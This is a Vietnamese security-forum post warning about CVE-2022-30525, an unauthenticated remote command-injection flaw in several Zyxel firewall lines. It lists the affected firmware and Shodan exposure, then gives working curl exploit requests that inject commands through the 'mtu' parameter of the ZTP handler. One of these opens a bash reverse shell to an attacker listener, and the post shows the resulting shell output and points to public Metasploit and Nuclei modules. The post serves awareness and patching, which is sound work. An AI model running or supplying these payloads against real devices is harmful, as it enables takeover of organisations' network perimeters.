Công bố cách khai thác lỗ hổng RCE trên thiết bị ZYXEL

Sugi_b3o

Moderator
Thành viên BQT
30/08/2016
319
448 bài viết
Công bố cách khai thác lỗ hổng RCE trên thiết bị ZYXEL
Gần đây, Rapid7 đã phát hiện và báo cáo lỗ hổng ảnh hưởng đến dòng Firewall Zyxel hỗ trợ tính năng Zero Touch Provisoning (ZTP), bao gồm dòng ATP, VPN và USG FLEX (bao gồm USG20-VPN và USG20W-VPN). Được xác định là CVE-2022-30525, lỗ hổng cho phép kẻ tấn công từ xa và không cần xác thực có thể chiếm quyền điều khiển.


1.png


Danh sách bao gồm các phiên bản và model dưới đây:

Affected Model​
Affected Firmware Version
USG FLEX 100, 100W, 200, 500, 700​
ZLD5.00 thru ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN​
ZLD5.10 thru ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800​
ZLD5.10 thru ZLD5.21 Patch 1

Các Firewall bị ảnh hưởng thường được sử dụng triển khai ở chi nhánh nhỏ và trụ sở chính của công ty. Họ cung cấp các giải pháp VPN, kiểm tra SSL, bảo vệ ứng dụng web, bảo vệ chống xâm nhập và bảo mật email, sử dụng đồng thời với băng thông lên đến 5 Gbps thông qua firewall.

Các dòng bị ảnh hưởng khá phổ biến trên Thế giới với hơn 16.000 thiết bị được tìm thấy trên Shodan

2.png


Ở Việt Nam chỉ ghi nhận 24 thiết bị, tuy nhiên cũng đừng chủ quan, vì chỉ cần 1 node trong hệ thống mạng bị compromise có thể là điểm khởi nguồn cho toàn bộ cuộc tấn công còn lại nhắm vào tổ chức. Vì thế nó được đánh giá với số điểm rất cao CVSS: 9,8.

3.png

Điều quan trọng nhất là cách khai thác lỗ hổng này đã được công khai. Đó là điều mà mình muốn cảnh báo đến các bạn, khi chưa cập nhật lỗ hổng này, các dòng bị ảnh hưởng có thể bị chiếm quyền điều khiển từ xa và không cần xác thực thông qua giao diện HTTP.

Các lệnh được thực thi với tư cách user nobody. Lỗ hổng này được khai thác thông qua đường dẫn /ztp/cgi-bin/handler và là kết quả của việc truyền các tham số input của kẻ tấn công không được kiểm tra phương thức vào os.system trong lib_wan_settings.py. Chức năng bị tấn công được gọi đến lệnh setWanPortSt. hoặc các data trong parameter Kẻ tấn công có thể đưa các lệnh tùy ý vào mtu hoặc tham số dữ liệu. Dưới đây là một ví dụ dùng curl sẽ điều khiển firewall thực thi lệnh ping 192.168.1.220:

curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged" :"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}' https://192.168.1.1/ztp/cgi-bin/handler
Trên firewall thực thi lệnh ps để xem kết quả
nobody 11040 0.0 0.2 21040 5152 ? S Apr10 0:00 \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL nobody 16052 56.4 0.6 18104 11224 ? S 06:16 0:02 | \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py nobody 16055 0.0 0.0 3568 1492 ? S 06:16 0:00 | \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1 nobody 16057 0.0 0.0 2152 564 ? S 06:16 0:00 | \_ ping 192.168.1.220
Sử dụng kỹ thuật reverse shell ta sẽ được kết quả:
curl -v --insecure -X POST -H "Content-Type: application/json" -d ' {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged": "1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/ 192.168.1.220/1270 <&1;\";","data":"hi"}' https://192.168.1.1 /ztp/cgi-bin/handler

Kết quả chiếm được quyền điều khiển

hacker@ubuntu:~[imath]nc -lvnp 1270 Listening on 0.0.0.0 1270 Connection received on 192.168.1.1 37882 bash: cannot set terminal process group (11037): Inappropriate ioctl for device bash: no job control in this shell bash-5.1[/imath] id id uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr) bash-5.1$ uname -a uname -a Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux Bash-5.1

Công cụ khai thác tự động hóa công khai:

Metasploit đã cập nhật lên git https://github.com/rapid7/metasploit-framework/pull/16563


4.png

Nucleic: đã cập nhật temple ở version 9.0.1

5.png

Và lời khuyên cuối cùng là nếu các bạn đang sử dụng các dòng với phiên bản bên trên thì cập nhật bản vá càng sớm càng tốt nhé!
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
metasploit nuclei rce shodan zyxel
Bên trên